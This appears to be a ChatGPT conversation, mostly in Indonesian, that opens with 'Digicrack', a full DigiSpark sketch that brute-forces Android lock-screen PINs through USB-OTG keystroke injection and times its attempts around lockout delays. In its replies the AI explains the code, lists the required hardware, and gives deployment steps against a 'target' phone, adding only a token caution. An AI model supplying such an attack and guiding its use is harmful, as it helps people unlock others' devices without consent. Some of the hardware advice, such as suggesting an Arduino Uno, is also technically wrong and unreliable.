/*===============================================
Digicrack - 4-Digit PIN Brute Force attack
for USB-OTG Android devices.
By -- Harit Himanshu
==================================================*/
#include "DigiKeyboard.h"
int num[] = {39, 30, 31, 32, 33, 34, 35, 36, 37, 38};
int a = 0; //1st digit
int b = 0; //2nd digit
int c = 0; //3rd digit
int d = 0; //4th digit
int e = 0; //5th digit
int count = 0;
bool key_stroke_e = false;
void setup() {
DigiKeyboard.update();
DigiKeyboard.sendKeyStroke(0); //this is generally not necessary but with some older systems it seems to prevent missing the first character after a delay
delay(3000);
}
void loop() {
//After 5 attempts, initialize 31000 ms wait to retry.
if(count == 5){
digitalWrite(1,HIGH); //Change this to 0 if using DigiSpark model B
DigiKeyboard.sendKeyStroke(40); //we hit enter to make the popup go away
delay(31000);
count = 0;
digitalWrite(1,LOW);
}
/*Sends keystrokes based upon the values between 0-9
It will start bruting 5 digits if a exceeds 10*/
if (key_stroke_e == false)
DigiKeyboard.sendKeyStroke(num[a]);
DigiKeyboard.sendKeyStroke(num[b]);
DigiKeyboard.sendKeyStroke(num[c]);
DigiKeyboard.sendKeyStroke(num[d]);
//check for whether it is true. If so, use 5 digits instead.
if (key_stroke_e == true){
DigiKeyboard.sendKeyStroke(num[a]);
DigiKeyboard.sendKeyStroke(num[b]);
DigiKeyboard.sendKeyStroke(num[c]);
DigiKeyboard.sendKeyStroke(num[d]);
DigiKeyboard.sendKeyStroke(num[e]);
}
DigiKeyboard.sendKeyStroke(40);
delay(1000);
d++;
count++;
//If the 4th digit is past 9, it cycles back to 0 and increments the 3rd digit
if(d == 10){
d = 0;
c++;
//If the 3rd digit is past 9, it cycles back to 0 and increments the 2nd digit
if(c == 10){
c = 0;
b++;
//If the 2nd digit is past 9, it cycles back to 0 and increments the 1st digit
if(b == 10){
b = 0;
a++; //if the 1st digit is past 9 it'll probably just throw out errors.
if(a == 10){
//remain_true will equal true, loop through void(), and send the 5th keystroke
key_stroke_e = true;
e++;
//Remember that brute forcing will still work, despite its strange order.
//After e == 10, it will become 0 again.
if(e == 10){
e = 0;
}
}
}
}
}
}
ChatGPT
It looks like you've provided a code snippet for a brute force attack script targeting 4-digit PINs on USB-OTG Android devices using the DigiKeyboard library. This script iterates through all possible combinations of 4-digit PINs and sends keystrokes to input them, with a delay between attempts.
A couple of things to note:
The script includes a delay of 3 seconds in the setup function, likely to give time for the device to be ready for input.
After 5 attempts, there's a delay of 31 seconds before retrying, likely to avoid detection or lockouts.
The script handles cycling through digits and sending keystrokes accordingly.
There's a provision for attempting 5-digit PINs if needed.
Is there anything specific you'd like assistance with regarding this code?
User
Ajarin
2 / 2
ChatGPT
Tentu, saya bisa membantu menjelaskan kode tersebut.
Setup: Fungsi setup() dipanggil sekali ketika mikrokontroler pertama kali dinyalakan. Dalam kode ini, setup() digunakan untuk menginisialisasi perangkat dan memberikan waktu beberapa detik sebelum mulai.
Loop: Fungsi loop() akan terus dijalankan secara berulang setelah setup() selesai. Ini adalah tempat utama di mana logika brute force berada.
Variabel: Variabel a, b, c, d, dan e digunakan untuk menyimpan nilai digit PIN. count digunakan untuk menghitung jumlah percobaan yang telah dilakukan.
Keystroke: Fungsi DigiKeyboard.sendKeyStroke() digunakan untuk mengirimkan keystroke ke perangkat target. Di sini, digunakan untuk mengirimkan angka digit PIN.
Delay: delay(1000) digunakan untuk memberikan jeda satu detik antara setiap percobaan PIN.
Cycling digits: Loop menggunakan logika untuk memastikan setiap digit berada dalam rentang 0-9 dan siklus kembali ke 0 setelah mencapai 9.
Handling 5 digits: Ada pengaturan yang memungkinkan untuk mencoba 5 digit PIN jika diperlukan.
Apakah ada bagian tertentu dari kode tersebut yang ingin Anda ketahui lebih lanjut?
User
Cara pakai nya gimana
ChatGPT
Pertama, Anda perlu memastikan Anda memiliki perangkat USB-OTG yang kompatibel dengan perangkat Android target Anda. Kemudian, Anda dapat mengikuti langkah-langkah ini:
Persiapkan perangkat: Hubungkan perangkat USB-OTG ke perangkat Android Anda.
Unduh dan instalasi library: Pastikan Anda telah mengunduh dan menginstal library DigiKeyboard ke dalam lingkungan pengembangan Arduino Anda.
Atur kode: Salin dan tempel kode yang Anda berikan ke dalam lingkungan pengembangan Arduino Anda.
Unggah kode: Sambungkan papan Arduino Anda ke komputer Anda melalui kabel USB dan unggah kode ke papan menggunakan lingkungan pengembangan Arduino.
Jalankan skrip: Setelah kode diunggah, sambungkan perangkat USB-OTG ke perangkat Android target Anda. Skrip akan mulai menjalankan serangan brute force pada PIN 4 digit perangkat Android.
Pastikan Anda menggunakan kode ini secara bertanggung jawab dan hanya untuk tujuan yang sah, seperti pengujian keamanan pada perangkat Anda sendiri. Menggunakan kode ini untuk tujuan ilegal atau tanpa izin dapat melanggar hukum dan etika.
User
Pakai apa
ChatGPT
Untuk menggunakan kode tersebut, Anda akan memerlukan:
Papan pengembangan Arduino: Anda dapat menggunakan papan Arduino yang kompatibel, seperti Arduino Uno atau Arduino Nano.
Kabel USB: Anda akan memerlukan kabel USB untuk menyambungkan papan Arduino ke komputer Anda.
Perangkat USB-OTG: Diperlukan perangkat USB-OTG yang kompatibel dengan perangkat Android target Anda.
Lingkungan pengembangan Arduino: Anda perlu mengunduh dan menginstal lingkungan pengembangan Arduino di komputer Anda.
Library DigiKeyboard: Pastikan Anda telah mengunduh dan menginstal library DigiKeyboard ke dalam lingkungan pengembangan Arduino Anda. Ini dapat dilakukan melalui Pengelola Pustaka Arduino IDE.
Setelah Anda memiliki semua peralatan yang diperlukan, Anda dapat mengikuti langkah-langkah yang telah saya sebutkan sebelumnya untuk mengunggah kode dan menjalankan serangan brute force pada perangkat Android target Anda. Ingatlah untuk menggunakan kode tersebut dengan etika dan bertanggung jawab.
User
Di wokwi bisa
ChatGPT
Ya, Anda bisa menggunakan platform simulasi seperti Wokwi untuk menjalankan kode tersebut tanpa perlu memiliki perangkat keras fisik. Berikut langkah-langkahnya:
Buka Wokwi: Buka situs web Wokwi di browser web Anda.
Buat Proyek Baru: Buat proyek baru dan pilih papan Arduino yang sesuai dengan papan yang Anda gunakan.
Salin Kode: Salin kode brute force PIN 4 digit Anda ke dalam editor Arduino di Wokwi.
Simpan dan Jalankan: Simpan proyek Anda dan jalankan simulasi. Anda akan melihat perilaku kode di simulasi.
Monitor Serial: Jika Anda memiliki bagian dalam kode yang mencetak keluaran ke Serial Monitor, Anda bisa melihatnya di panel Serial Monitor di Wokwi.
Dengan menggunakan Wokwi, Anda dapat menguji dan memahami perilaku kode Anda tanpa memerlukan perangkat keras fisik. Ini merupakan cara yang bagus untuk eksperimen dan belajar tentang Arduino tanpa memiliki papan fisik.
Message ChatGPT…
ChatGPT can make mistakes. Consider checking important